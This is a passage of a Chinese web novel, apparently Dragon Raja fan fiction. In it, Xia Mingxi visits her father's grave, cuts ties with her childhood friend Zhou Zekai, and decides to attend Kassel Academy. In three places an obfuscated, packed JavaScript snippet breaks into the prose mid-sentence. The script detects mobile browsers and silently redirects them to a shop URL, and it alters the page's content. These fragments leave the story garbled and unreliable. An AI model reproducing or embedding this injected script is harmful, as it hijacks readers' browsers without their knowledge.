“嗯。”母亲应了一声,继续整理东西。她把一盒鸡蛋小心翼翼地放进冰箱,又把蔬菜拿出来择。 夏明晞坐在沙发上吃西瓜。西瓜很甜,汁水很多,但她吃不出什么味道。她小口小口地咬着,看着母亲忙碌的背影。 母亲择完菜,洗了手,在她旁边坐下。沙发陷下去一点,夏明晞能感觉到母亲身体的温度。 “眼睛还好吗?” “嗯,美瞳戴着没什么感觉。” “那就好。”母亲沉默了一会儿回,“我今天出去,顺便去了趟邮局。问了问国际快递的事。” 夏明晞抬起头看向她。 “如果你决定去的话,八月底就要寄行李了。”母亲说得很平静,“我问了需要准备什么材料,大概的流程。工作人员说最好提前准备,免得到时候手忙脚乱。” 夏明晞盯着盘子里的西瓜。红色的果肉,黑色的籽,一切都很清晰,很真实。 “妈,”她突然说,“你希望我去吗?” 母亲没有马上回答。她伸出手,拿了一块西瓜,但没有吃,只是拿在手里。 “我希望你安全。”最后她说,“但我也知道,有时候安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088444|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不是躲起来就能得到的。你爸爸躲了一辈子,最后还是……” 她没有说完,但夏明晞明白她的意思。 “如果我去了,你会一个人在家。”夏明晞盯着手里的西瓜说。 母亲笑了,笑容很淡。“我习惯了。你爸爸在的时候也经常不在家,一年有半年在外面跑。后来他走了,我就一个人带你。现在你也长大了,该有自己的路了。” “可是……” “没有什么可是。”母亲打断她,声音很轻但很坚定,“这是你的人生,你的选择。我只能告诉你我知道的事,但不能替你决定。不管你选什么,我都支持你。” 夏明晞低下头,鼻子又开始发酸。她赶紧咬了一大口西瓜,让冰凉的汁水充满口腔,把那股酸涩压下去。 客厅里又安静下来。窗外的天色渐渐暗下来,傍晚的风吹进来,带着一点凉意。母亲站起来去开灯,啪嗒一声,暖黄色的灯光充满了房间。 “晚上想吃什么?”母亲问,声音恢复了平常的轻快,“我给你做。” “都可以。”夏明晞说。 母亲点点头,走进厨房。很快,厨房里传来洗菜切菜的声音,还有锅碗瓢盆的碰撞声。这些声音很熟悉,很日常,让夏明晞有种错觉,好像今天和昨天没什么不同,明天也会和今天一样。 但她知道,不一样了。从那个黑色信封出现在门口的那一刻起,一切都不一样了。 她吃完最后一块西瓜,把盘子端到厨房。母亲正在炒菜,锅里滋滋地响,油烟机嗡嗡地转。夏明晞把盘子放进水槽,站在厨房门口看着母亲。 母亲的背影看起来很瘦,肩膀微微耸着。她的头发扎成了一个低马尾,有几缕碎发掉下来,贴在脖子上。她炒菜的动作很熟练,放盐,放酱油,翻炒,一切都是那么自然。 夏明晞突然想起小时候,她也是这样站在厨房门口看母亲做饭。那时候她觉得母亲很高大,能解决所有问题。而现在她才发现,母亲其实很瘦小,也会害怕,也会不知所措。 “妈。”她叫了一声。 母亲回过头来问:“怎么了?” “没什么。”夏明晞说,“就是叫叫你。” 母亲笑了,眼角的皱纹很深。“快去洗手,马上吃饭了。” 夏明晞点点头,转身去了卫生间。她站在洗手池前,看着镜子里的自己。美瞳戴得很好,眼睛是深棕色的,看起来很普通。她眨眨眼,镜子里的她也眨眨眼。 她伸手摸了摸自己的脸颊,皮肤是温热的,有弹性。她是活着的,呼吸着,心跳着。她有选择的权利,至少现在还有。 水龙头打开,凉水冲下来。她仔细地洗了手,打了肥皂,搓出泡沫,再冲干净。每一个动作都很慢,很认真,好像在做一件很重要的事。 洗完手,她关上水,用毛巾擦干。毛巾是柔软的,带着阳光晒过的味道。 她走出卫生间,餐桌已经摆好了。两菜一汤,很简单,但都是她爱吃的。母亲已经坐下了,正在盛饭。 夏明晞在对面坐下。母亲把盛好的饭递给她,她接过来,说了声谢谢。 “吃吧。”母亲说。 她们开始吃饭。没有人说话,只有碗筷碰撞的声音。灯光很温暖,菜很香,一切都很安静,很平和。 夏明晞一口一口地吃着,心里很乱,但又很平静。混乱的是未来,平静的是此刻。此刻她坐在家里,和母亲一起吃饭,窗外是熟悉的夜景,碗里是熟悉的饭菜。 也许这就是她要守护的东西,也许这就是父亲当年战斗的理由。 但她还是不知道,自己有没有勇气拿起那把刀。 饭吃到一半,母亲突然说:“这周末,我们去看你爸爸吧。” 夏明晞抬起头:“墓园?” “嗯。好久没去了,也该去看看了。”母亲说,“正好,你也可以……跟他说说话。虽然他听不见。” 夏明晞点点头:“好。” 她确实想跟父亲说说话。虽然不知道说什么,但就是想说说。说说那封信,说说那双金色的眼睛,说说她的害怕和迷茫。 也许父亲听不见。但说出来,总会好一点。 她这么想着,继续低头吃饭。菜有点咸,她多扒了两口饭。母亲注意到了,起身去给她倒了杯水。 水是温的,喝下去很舒服。 夏明晞握着水杯,突然觉得,不管未来怎么样,至少此刻,她是安全的,是被爱着的。 这就够了。 4. 卡塞尔之门(四) 周末那天是个阴天。 夏明晞早上醒来的时候,看见窗外灰蒙蒙的天空,云层压得很低,好像随时会下雨。她躺在床上发了一会儿呆,听着母亲在厨房准备早餐的声音,然后才慢吞吞地爬起来。 洗漱的时候,她站在镜子前仔细检查了眼睛。美瞳戴的很熟练,她现在还不会控制黄金瞳,生怕突然出现,所以为了保险戴上了。美瞳的颜色还是很稳定,看不出任何异常。她眨眨眼,又凑近了一点,确认瞳孔边缘没有露出金色,才松了口气。 走出卫生间,母亲已经准备好了简单的早餐:白粥,煎蛋,还有一碟小菜。两人面对面坐下,默默地吃着。粥很烫,夏明晞小口小口地吹着气,热气扑在脸上,有点痒。 “东西我都准备好了。”母亲说,声音很轻,“花也买好了,是你爸爸喜欢的百合。” 夏明晞点点头。她其实不太记得父亲喜欢什么花,父亲去世的时候她还太小。这些细节都是母亲后来告诉她的,说父亲每次回家都会带一束百合,说这个花香味很干净。 吃完饭,夏明晞帮忙收拾碗筷。母亲去换衣服,她就在厨房慢慢洗碗。水很热,洗洁精的泡沫很多,她仔细地擦着每一个碗,擦得干干净净,然后放在沥水架上。 母亲换了一身黑色的衣服,很素净。夏明晞也回房间换了一身深色的衣服,简单的T恤和长裤。她又检查了一遍眼睛,往包里放了一副备用的美瞳,这才走出来。 两人一起出门。电梯里很安静,只有机械运转的声音。到了一楼,走出单元门,外面的空气有点潮湿,带着下雨前的土腥味。 墓园在郊区,坐公交车要一个多小时。她们在小区门口的站台等车,这个时间等车的人不多,只有几个老太太提着菜篮子,还有一对年轻情侣依偎在一起说笑。 车来了,是那种老式的公交车,开起来哐当哐当地响。上车后,夏明晞和母亲找了后排的位置坐下。车慢慢开动,窗外的景色开始后退,熟悉的街道,熟悉的店铺,一点一点远去。 车厢里很安静,大部分人都在看手机。夏明晞也拿出手机,解锁,屏幕上是她和周泽楷的聊天界面。最后一条消息还是他发的那张狗的照片,她已经三天没有回复了。 这三天里,周泽楷又发了几条消息,问她是不是生病了,家里是不是出了什么事。她都没有回。不是不想回,是不知道该怎么回。她还没想好怎么说,没想好要不要说,没想好能说什么。 车开过市中心,又开过一片老城区,最后驶上了通往郊区的路。窗外的景色变得开阔起来,楼房越来越少,田地越来越多。天空还是阴沉沉的,云层压得更低了,远处能看见灰色的山影。 夏明晞靠在车窗上,看着外面飞速后退的田野。田里的庄稼绿油油的,长势很好。有农人在田里干活,小小的身影,弯着腰。一切都那么平静,那么真实。 但她知道,在这平静的表面下,可能藏着完全不同的世界。一个父亲曾经战斗过的世界,一个她现在也可能要面对的世界。 母亲轻轻碰了碰她的手:“快到了。” 夏明晞抬起头,看见前方出现了一片灰白色的建筑群,那就是墓园。 公交车在墓园门口停下,她们下了车。门口有几个卖花的摊位,摆着各种颜色的菊花和百合。母亲去之前常买的那家摊位,又买了两束新鲜的百合。摊主是个中年女人,认识母亲,一边包花一边说:“又来看夏先生啊。” “嗯。”母亲应了一声,付了钱。 两人走进墓园。墓园很大,一排排的墓碑整齐地排列着,像沉默的士兵。空气里有香火和新鲜泥土的味道,很安静,只有远处偶尔传来几声鸟叫。 父亲的墓在靠里的位置,她们沿着石板路慢慢走,脚步声在空旷的墓园里显得很清晰。路两边是松树,长得很高,枝叶挡住了部分天空,让光线更加昏暗。 走了大概十分钟,她们停在了一块黑色的墓碑前。墓碑很简单,上面刻着父亲的名字:夏文渊,还有生卒年月。照片是黑白的,父亲在照片里微笑着,看起来很年轻。 母亲蹲下身,把带来的百合放在墓碑前。白色的花瓣在灰色的墓碑衬托下,显得格外鲜亮。她又从包里拿出一块手帕,开始擦拭墓碑。动作很轻,很仔细,从名字擦到照片,再到碑座的每一处。 夏明晞站在一旁看着。她很少来墓园,上一次来已经是两年前了。那时候她刚上高一,学习很忙,母亲说不用经常来,爸爸不会介意的。但她知道,母亲其实经常一个人来。 墓碑被擦得很干净,照片里的父亲笑得更清晰了。夏明晞看着那张笑脸,突然觉得有点陌生。照片里的父亲才三十出头,而她已经十八岁了。如果父亲还活着,现在应该是个中年人了,可能会有白头发,会有皱纹,会和照片里的人不太一样。 母亲擦完墓碑,站起来,拍了拍手上的灰尘。她看着墓碑,看了很久,然后轻声说:“文渊,明晞来看你了。” 夏明晞往前走了一步,在墓碑前蹲下。她看着父亲的照片,张了张嘴,却不知道该说什么。说你好吗?说你放心吗?说我很想你? 最后她只说了一句:“爸,我收到卡塞尔学院的通知书了。” 声音很轻,但在这安静的墓园里,听得很清楚。 风突然大了一点,吹得旁边的松树沙沙作响,百合的花瓣在风里微微颤抖。 “妈妈把一切都告诉我了。”夏明晞继续说,声音还是轻轻的,“她说你是混血种,说你是在和龙的战斗中牺牲的。她说我也遗传了你的血统,我的眼睛……已经变成金色了。” 她说到这里停了一下,下意识地摸了摸自己的眼睛。美瞳还在,但她能感觉到下面那双真正的眼睛,金色的,不属于普通人的眼睛。 “我不知道该怎么办。”她说,声音开始有点抖,“我不知道该不该去那个学校。我害怕,爸。我害怕变成你那样,害怕战斗,害怕牺牲。我只想过普通人的生活,想和朋友一起玩,想考个好大学,想……想谈个普通的恋爱。” 她停下来,深吸了一口气。风还在吹,很凉,吹得她鼻子发酸。 “但是妈妈说得对,我没有选择了。”她低下头,看着地面上的青草,“我的眼睛已经变了,那些人已经找到我了。如果我不去,他们会来找我,会用各种方法逼我去。而且……而且如果真的有龙,如果它们真的那么危险,那我是不是也有责任去做点什么?像你一样?” 没有人回答。只有风的声音,松树的声音,远处鸟叫的声音。 夏明晞抬起头,重新看着父亲的照片。照片里的父亲还是那样笑着,眼睛弯弯的,看起来很温暖。她想象父亲如果还活着,会对她说什么。会说去吧,这是我的使命,现在也是你的?还是会说不去,找个地方躲起来,过普通人的生活? 她不知道,她永远也不会知道了。 “我会好好考虑的。”最后她说,“八月十五日前,我会做出决定。不管怎么样……谢谢你给我生命,爸。也谢谢你,曾经保护过这个世界。” 她站起来,腿有点麻。母亲走过来,握住她的手。母亲的手很凉,但握得很紧。 “你爸爸会为你骄傲的。”母亲说,眼睛有点红,但没有哭。 夏明晞点点头。她不知道父亲会不会为她骄傲,但她希望会。 她们在墓碑前又站了一会儿。风渐渐小了,云层好像散开了一点,有一缕阳光透下来,正好照在墓碑上。百合花瓣上的水珠在阳光下发着光,像小小的钻石。 “走吧。”母亲说。 她们转身离开。走了几步,夏明晞回头看了一眼。父亲的墓碑在阳光下看起来很明亮,很干净。照片里的父亲还在微笑,好像在目送她们离开。 走出墓园,外面的空气还是潮湿的,但好像没有那么压抑了。她们在公交站等车,这次等车的人更少了,只有她们两个。 车来了,还是那辆老式公交车。上车后,夏明晞选了一个靠窗的位置。车开动后,她看着窗外飞速后退的景色,突然觉得心里轻松了一点。 好像把那些话说出来之后,那些压在心里的东西就少了一些。虽然问题还在,迷茫还在,恐惧还在,但至少她不是一个人在面对了。有母亲,有父亲,即使父亲已经不在了,但他的存在本身就是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088445|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种力量。 手机震动了一下。夏明晞拿出来看,是周泽楷发来的消息。 “夏明晞,你如果再不回消息,我就去你家敲门了。” 她盯着这条消息看了几秒,然后慢慢地打字:“对不起,这几天家里有点事。” 消息几乎是秒回:“什么事?严重吗?需要帮忙吗?” “不用,已经处理得差不多了。” “那你什么时候有空?我们说说话。” 夏明晞看着这句话,手指在屏幕上停了很久。她知道周泽楷在担心她,也知道自己这样不回复很过分。但她还是不知道该怎么说,不知道能不能说。 最后她回:“明天吧,明天下午。” “好,老地方?” “嗯,老地方。” 对话到此结束。夏明晞把手机放回口袋,靠在车窗上。老地方是他们常去的一家奶茶店,离学校不远,周末人不多,很安静。他们经常在那里一起写作业,聊天,有时候什么也不做,就各自玩手机。 明天她要去那里,要和周泽楷见面。她要怎么面对他?要怎么解释这几天的消失?要不要告诉他真相? 她不知道。 车继续往前开,窗外的景色从田野变成了楼房,又从楼房变成了繁华的街道。城市的喧嚣一点点回来,公交车里的人也渐渐多了起来,有说话声,有笑声,有手机外放的音乐声。 一切又回到了日常的世界。墓园的安静,百合的香味,父亲的微笑,都好像是很遥远的事了。 但夏明晞知道,那些事并不遥远。它们就在她心里,就在她的眼睛里,就在那个黑色信封里。她不能假装它们不存在。 车到站了,她和母亲下车。走回家的路上,母亲问:“明天要出门?” “嗯,和周泽楷约了喝奶茶。” “也好。”母亲说,“出去走走,放松一下。这几天你把自己关在房间里,我看着都难受。” “我没事。” “有事没事,你自己清楚。”母亲看了她一眼,“不过你长大了,有些事要自己面对,我不多问。” 夏明晞点点头。她知道母亲是担心她的,但母亲也知道,有些事只能她自己想通。 回到家,母亲去做饭,夏明晞回到自己房间。她没有开电脑,也没有玩手机,只是坐在书桌前,看着窗外的天空。 天空还是灰蒙蒙的,但云层好像薄了一点,能看见后面淡淡的蓝色。也许明天会是个晴天。 她拉开抽屉,拿出那个铁盒子,打开。父亲的徽章,父亲的匕首,父亲的照片。她一件一件地看着,摸着,想着。 最后她合上盒子,放回抽屉里。然后她站起来,走到镜子前。 镜子里的女孩有一双深棕色的眼睛,看起来很普通。但她知道,那不是她真正的眼睛。她真正的眼睛是金色的,像融化的黄金,像她父亲的眼睛。 她伸手摸了摸自己的脸颊,又摸了摸自己的眼睛。皮肤是温热的,眼睛是湿润的。她是活着的,呼吸着,心跳着。 她转身离开镜子,走出房间。厨房里传来炒菜的声音,还有母亲哼歌的声音。歌是父亲以前喜欢的歌,很老的调子。 夏明晞走到厨房门口,看着母亲忙碌的背影。母亲没有发现她,还在专注地炒菜,锅铲在锅里翻动,发出规律的响声。 看了一会儿,夏明晞走进厨房,从碗柜里拿出两个碗,两双筷子。 “妈,我来帮你。”她说。 母亲回过头,对她笑了笑:“好。” 她们一起把菜端到餐桌上,盛好饭,面对面坐下。菜很香,冒着热气。 “吃饭吧。”母亲说。 “嗯。” 她们开始吃饭,没有人说话,但气氛很平和。窗外的天渐渐黑了,远处亮起了点点灯火。 夏明晞吃着饭,心里默默地想:不管她最后做出什么选择,她都要记住这一刻。记住这安全,这温暖,记住她为什么要战斗,或者说,为什么要选择不战斗。 因为有些东西,值得保护。 即使她不知道自己有没有能力保护它们。 5. 卡塞尔之门(五) 第二天下午,夏明晞很早就出门了。 出门前,她站在镜子前检查了很久。她又整理了一下衣服,白色T恤,牛仔裤,很普通的打扮。但不知道为什么,她总觉得哪里不对劲,好像这身衣服不是她的,镜子里的那个人也不是她。 母亲在客厅里看电视,看见她出来,抬头问:“要走了?” “嗯。”夏明晞应了一声,弯腰穿鞋。 “早点回来。”母亲说,“晚上给你做糖醋排骨。” “好。” 夏明晞打开门,走出去。楼道里很安静,只有她下楼的脚步声。一级,两级,三级,脚步声在空荡的楼梯间里回响,像某种倒计时。 走到小区门口,外面的阳光很刺眼。她眯了眯眼睛,用手挡在额前。街道上人来人往,车流不息,一切都和往常一样热闹。她沿着熟悉的路往奶茶店走,脚步不快不慢,像在拖延时间。 奶茶店离得不远,步行十分钟就到了。店面不大,装修得很温馨,墙上贴满了便利贴,都是客人留下的留言。夏明晞和周泽楷经常坐靠窗的那个位置,那里能看到街景,又相对安静。 她推门进去,门上挂的风铃叮叮当当地响。靠窗的位置上,周泽楷已经坐在那里了。他面前放着一杯奶茶,手里拿着手机,正低头看着什么。阳光从窗户照进来,洒在他身上,让他看起来像是镀了一层金边。 夏明晞走到他对面,拉开椅子坐下。椅子腿摩擦地面,发出轻微的响声。周泽楷抬起头,看见她,立刻露出笑容。 “你来啦。”他说,把手机放到一边,“我给你点了奶茶,是你喜欢的芋圆波波,少糖。” “谢谢。”夏明晞说。她看着面前那杯奶茶,粉紫色的,很漂亮,杯壁上还挂着水珠。 两人沉默了一会儿。店里放着轻音乐,声音不大,刚好能盖住一些尴尬。周泽楷看着夏明晞,眼神里有担心,有疑问,但更多的是关心。 “你这几天怎么了?”他终于开口,“消息不回,电话不接,我差点真的要去你家敲门了。” 夏明晞低下头,用吸管搅了搅奶茶。芋圆沉在杯底,随着她的动作上下浮动。 “家里有点事。”她说,声音很轻。 “什么事?严重吗?”周泽楷往前倾了倾身体,“你跟我说说,说不定我能帮忙。” 夏明晞摇摇头说:“你帮不了。” “你不说怎么知道我帮不了?”周泽楷有点着急,“我们认识这么多年了,有什么事不能跟我说?夏明晞,你这样我很担心你知道吗?” 夏明晞抬起头,看着周泽楷。他的眼睛很干净,很清澈,里面映出她的影子。她突然想起梦里那双惊恐的眼睛,那个喊着“怪物”的周泽楷。眼前的这个人,和梦里那个人,真的是同一个人吗? “周泽楷。”她叫他的名字,声音有点抖。 “嗯?” “如果我告诉你,我要去一个很远的地方,可能很久都不能回来,你会怎么想?” 周泽楷愣住了,急忙问:“很远的地方?去哪?出国吗?” “算是吧。”夏明晞点了点头说,“一个特殊的学校,在美国。” “什么样的学校?什么时候决定的?我怎么从来没听你说过?” “就这几天决定的。”夏明晞避开他的眼神,看向窗外。街对面是一家书店,门口摆着打折的书架,有几个学生在翻看。“那个学校……比较特殊,要求很高,机会难得,我不想错过。” 周泽楷沉默了一会儿。他拿起自己的奶茶,喝了一口,又放下。 “什么时候走?”他轻声问。 “可能很快。” “这么急?”周泽楷的声音提高了一点,“怎么这么突然?之前一点消息都没有。” “我也是刚收到通知。”夏明晞说,手指紧紧握着奶茶杯,“对不起,没早点告诉你。” 周泽楷没有接话。他盯着夏明晞看,眼神变得复杂起来。夏明晞能感觉到他在想什么,他在想为什么这么突然,为什么之前一点迹象都没有,为什么她看起来这么奇怪。 “夏明晞,”他终于开口,声音很认真,手指有些用力地攥着奶茶杯,“你是不是有什么事瞒着我?” 夏明晞的心猛地一紧。她张了张嘴,想说没有,想说你别多想,但话到嘴边又咽了回去。因为她确实有事瞒着他,很多事。她的眼睛,她的血统,她的父亲,那个黑色的信封,那个叫卡塞尔学院的学校,那些关于龙的传说。 但她不能说。母亲说过,普通人知道这些没有好处,只会让他们陷入危险。而且就算说了,周泽楷会信吗?会相信世界上有龙吗?会相信她的眼睛是金色的吗?还是会像梦里那样,害怕她,远离她,叫她怪物? “没有。”最后她说,声音很轻,轻得几乎听不见。 周泽楷盯着她看了很久。久到夏明晞以为他看穿了她的谎言,久到她开始紧张,手心里冒出冷汗。 但最后,他只是叹了口气。 “好吧。”他说,“如果你不想说,我就不问了。但是夏明晞,你要记住,不管发生什么事,我都是你朋友。无论你去哪里,无论你遇到什么困难,只要你需要,我都在。” 夏明晞的鼻子猛地一酸。她赶紧低下头,假装喝奶茶,让冰凉的液体压住那股酸涩。芋圆很Q弹,奶茶很甜,但她尝不出味道。 “周泽楷。”她又叫了他一声。 “嗯?” “我们……以后不要联系了。” 这句话说得很轻,但周泽楷听得清清楚楚。他脸上的表情凝固了,像被什么东西击中了一样。 “什么?”他问,声音里满是不可置信,怀疑自己是不是幻听了。 “我说,我们以后不要联系了。”夏明晞深呼吸一口气重复了一遍,看着他,这次声音更坚定了一些,“我要去的地方很特殊,以后会很忙,可能没有时间联系。而且……而且我也想重新开始,想过新的生活。” 周泽楷没有说话。他只是看着夏明晞,眼睛睁得很大,里面充满了震惊和受伤。夏明晞能清楚地看到他的表情变化——从震惊,到不解,到难过,最后变成一种深深的失望。 “这就是你今天的真正目的?”他终于开口,声音很哑,“不是来跟我道别,是来跟我说这个?” 夏明晞点点头,不敢看他的眼睛。 周泽楷突然笑了,笑得有些勉强:“夏明晞,我们认识多少年了?从幼儿园到现在,我们一起上学,一起放学,一起写作业,一起玩。我见过你哭,见过你笑,见过你生气,见过你所有的样子。现在你告诉我,因为要去一个新的地方,就要跟我绝交?” “不是绝交……”夏明晞想说点什么,但周泽楷打断了她。 “那是什么?不联系了,不就是绝交吗?”他的声音提高了,引来旁边几桌客人侧目。他深吸一口气,压低声音,“夏明晞,你到底怎么了?你告诉我实话,到底发生了什么事?是不是有人逼你?还是你……你讨厌我了?” “不是!”夏明晞脱口而出,“我没有讨厌你,从来没有!” “那为什么?”周泽楷盯着她,眼睛红红的,“为什么要说这种话?为什么要这样对我?” 夏明晞说不出话。她能说什么?说她是为了保护他?说她不希望他卷入危险?说她害怕他看到她的真面目会害怕?这些话说出来,周泽楷会信吗?就算信了,他会接受吗? 她不知道。她只知道,她必须这么做。必须切断联系,必须让他远离她的世界。这样对他最好,对她也好。 “对不起。”最后她只能说这三个字。 周泽楷靠回椅背,闭上眼睛。他沉默了很长时间,店里的音乐还在继续,是一首很悲伤的情歌,歌词里唱着离别和失去。 “好。”周泽楷终于睁开眼,声音很平静,平静得可怕,“既然这是你的选择,我尊重你。” 他站起来,从口袋里掏出钱包,抽出几张钞票放在桌上。 “奶茶我请了。”他说,声音有些颤抖,“祝你……一路顺风,前程似锦。” 说完,他转身就走。脚步很快,甚至没有回头。 夏明晞坐在原地,看着他的背影消失在店门外。风铃又响了,叮叮当当的,像是在送别。她盯着桌上那几张钞票,又看了看周泽楷留下的那杯奶茶。奶茶已经凉了,杯壁上凝了一层水珠,正慢慢地往下流,像眼泪。 她坐在那里很久,直到店员走过来,小心翼翼地问:“你还好吗?” 夏明晞抬起头,勉强笑了笑:“我没事。” 她站起来,也离开了奶茶店。外面的阳光还是那么刺眼,街道还是那么热闹。她沿着来时的路往回走,脚步很慢,很沉。 回到家,母亲正在厨房里择菜。看见她回来,母亲抬起头:“回来了?这么快?” “嗯。”夏明晞应了一声,走到客厅沙发上坐下。 母亲放下手里的菜,走过来,在她身边坐下。她没有问什么,只是静静地看着她。 夏明晞低着头,盯着自己的手。手指很白,很细,看起来那么普通,那么无力。 “妈。”她开口,声音很哑。 “嗯?” “我想好了。”夏明晞抬起头,看着母亲,“我要去卡塞尔学院。” 母亲的眼睛亮了一下,但很快又暗下去。她伸出手,握住夏明晞的手。“你想清楚了?” “想清楚了。”夏明晞说,“就像你说的,我没有选择。而且……而且我想去看看,爸爸曾经战斗过的地方是什么样的。我想知道他为什么愿意付出生命,去保护这个世界。” 母亲没有说话,只是紧紧地握着她的手。 “我刚刚跟周泽楷说了。”夏明晞继续说,声音开始发抖,“我说我要去很远的地方,以后不要联系了。他很生气,很难过,但他还是……还是尊重我的选择。” 说到最后,她的声音已经哽咽了。眼泪不受控制地涌出来,一颗一颗地往下掉,砸在手背上,很烫。 母亲伸手抱住她,轻轻地拍着她的背安抚她:“没事的,哭出来就好了。” 夏明晞埋在母亲怀里,终于哭出声来。不是小声啜泣,是放声大哭,像要把这些天所有的压抑、所有的恐惧、所有的委屈都哭出来。她哭得浑身发抖,哭得上气不接下气。 母亲一直抱着她,没有说别哭了,也没有说坚强点,只是静静地抱着她,让她哭个够。 不知道哭了多久,夏明晞的哭声渐渐小了。她抬起头,眼睛红肿,脸上全是泪痕。 “妈,我好难受。”她哑着嗓子,攥着母亲的衣服说,“我伤害了周泽楷,我看着他那么难过的样子,我……我好难受。” “我知道。”母亲擦去她脸上的眼泪,“但这是必须的,对吗?你不希望他卷入你的世界,不希望他面对危险。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088446|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏明晞点点头。 “那就别后悔。”母亲说,声音很温柔,但很坚定,“既然做了选择,就别后悔。后悔只会让你更痛苦。” 夏明晞又点点头。她知道母亲说得对,但她还是很难受。那种难受像一块大石头压在胸口,让她喘不过气。 “去洗把脸吧。”母亲擦了擦她的眼泪,“眼睛都肿了。” 夏明晞站起来,去卫生间洗脸。冷水扑在脸上,很凉,让她清醒了一些。她看着镜子里的自己,眼睛又红又肿,很难看,完全不像平常的她。 她想起那个黑色信封,想起信封上的电话。既然已经决定了,就该联系了。 走出卫生间,她回到客厅。母亲已经回厨房继续择菜了。夏明晞走到茶几前,拿起那个黑色信封,抽出里面的信纸。信纸最下面有一行电话号码,区号是美国的。 她拿出手机,深吸一口气,然后一个数字一个数字地拨了过去。 电话响了很久才接通。那边传来一个男人的声音,说的是英文,语速很快。夏明晞用英文说:“你好,我是夏明晞,我收到了卡塞尔学院的录取通知。” 电话那头安静了一下,然后换成了一口带着古怪口音的中文:“哦!夏明晞!夏文渊的女儿!我等你电话等好久了!” 男人的声音很兴奋,夏明晞愣了一下,没想到对方会说中文,也没想到对方认识她父亲。 “你是?” “我是古德里安,卡塞尔学院的教授,负责亚洲地区的招生!”男人说,中文虽然古怪,但说得很流利,“你父亲夏文渊是我最优秀的学生之一!当年他的表现真是太出色了!没想到他的女儿也收到了录取通知,这真是太好了!” 夏明晞握着手机,不知道该说什么。 “你是决定来我们学校了,对吗?”古德里安教授继续兴奋地说,“太好了太好了!正好我最近在中国招生,这个周末就要回去了!你收拾好行李,周末来机场等我,我带你去学校!签证什么的学校都已经帮你准备好了,你什么都不用管!” “这个周末?”夏明晞愣了一下,“这么急?” “对!正好有航班,而且越早入学越好!”古德里安教授说,“你的血统已经开始苏醒了,对吧?我听说你的眼睛已经变色了。这说明你需要尽快接受训练,学习如何控制自己的能力。” 夏明晞沉默了一会儿。她确实能感觉到,这些天她的感官越来越敏锐,有时候甚至能听到隔壁楼的声音。而且她的眼睛,虽然戴着美瞳,但她能感觉到下面的金色越来越明显。 “好。”最后她说,“周末我去机场。” “太好了!”古德里安教授高兴地说,“具体时间和地点我发短信给你!对了,记得带上那个黑色信封,那是你的身份证明!” “好。” “那就这样!周末见!” 电话挂断了。夏明晞放下手机,盯着屏幕看了很久。通话时间不长,但她的心跳得很快,手心全是汗。 这就决定了。这个周末,她就要离开这里,去一个陌生的国家,去一个陌生的学校,开始一种完全陌生的生活。 她打开手机通讯录,找到周泽楷的名字。点开,最后一条消息是他刚刚发来的,只有三个字:为什么? 她盯着那三个字看了很久,手指在屏幕上悬停。她想解释,想道歉,想说对不起我也不想这样。但最后,她还是什么都没有说,只是点开了更多选项,选择了拉黑联系人。 确认拉黑的那一刻,她的心狠狠地痛了一下。像被什么东西刺穿了一样,痛得她弯下腰,好半天才缓过来。 母亲从厨房走出来,看见她的样子,走过来在她身边坐下。 “打电话了?”母亲问。 “嗯。”夏明晞点了点头说,“周末就走,有个叫古德里安的教授在机场等我。” “这么快……”母亲喃喃地说,然后握住她的手,“也好,早点去,早点适应。” “妈。”夏明晞看着母亲,眼睛又红了,“我拉黑周泽楷了。他给我发消息,问我为什么,我……我不知道该怎么回答,就把他拉黑了。” 母亲叹了口气,伸手把她搂进怀里。 “我是不是很过分?”夏明晞问她,声音闷在母亲怀里。 “是有点过分。”母亲轻声说,“但有时候,过分的事情是必须做的。你不想让他卷入你的世界,不想让他面对危险,这是对的。只是方法有点……伤人。” “那我该怎么办?”夏明晞抬起头,“我伤害了他,我却什么都做不了。” “那就把这件事交给我吧。”母亲轻轻抚摸她的头发,“我会找个时间,去找周泽楷谈谈。虽然不能告诉他真相,但至少可以解释一下,你不是故意伤害他的,你有你的苦衷。” “他会信吗?” “信不信是他的事。”母亲说,“我们能做的,只有这么多。剩下的,就要靠他自己消化了。” 夏明晞点点头,重新靠回母亲怀里。母亲的怀抱很温暖,很安全,让她暂时忘记了外面的世界,忘记了那个黑色的信封,忘记了那个叫卡塞尔学院的学校,也忘记了周泽楷受伤的眼神。 她就这么靠着,闭上眼睛。窗外的天色渐渐暗下来,厨房里飘来饭菜的香味。糖醋排骨,她最爱吃的菜。 这一刻,她很确定,不管未来怎么样,她都会记住这个拥抱,记住这个味道,记住这个家。 6. 卡塞尔之门(六) 夏明晞整夜未眠。 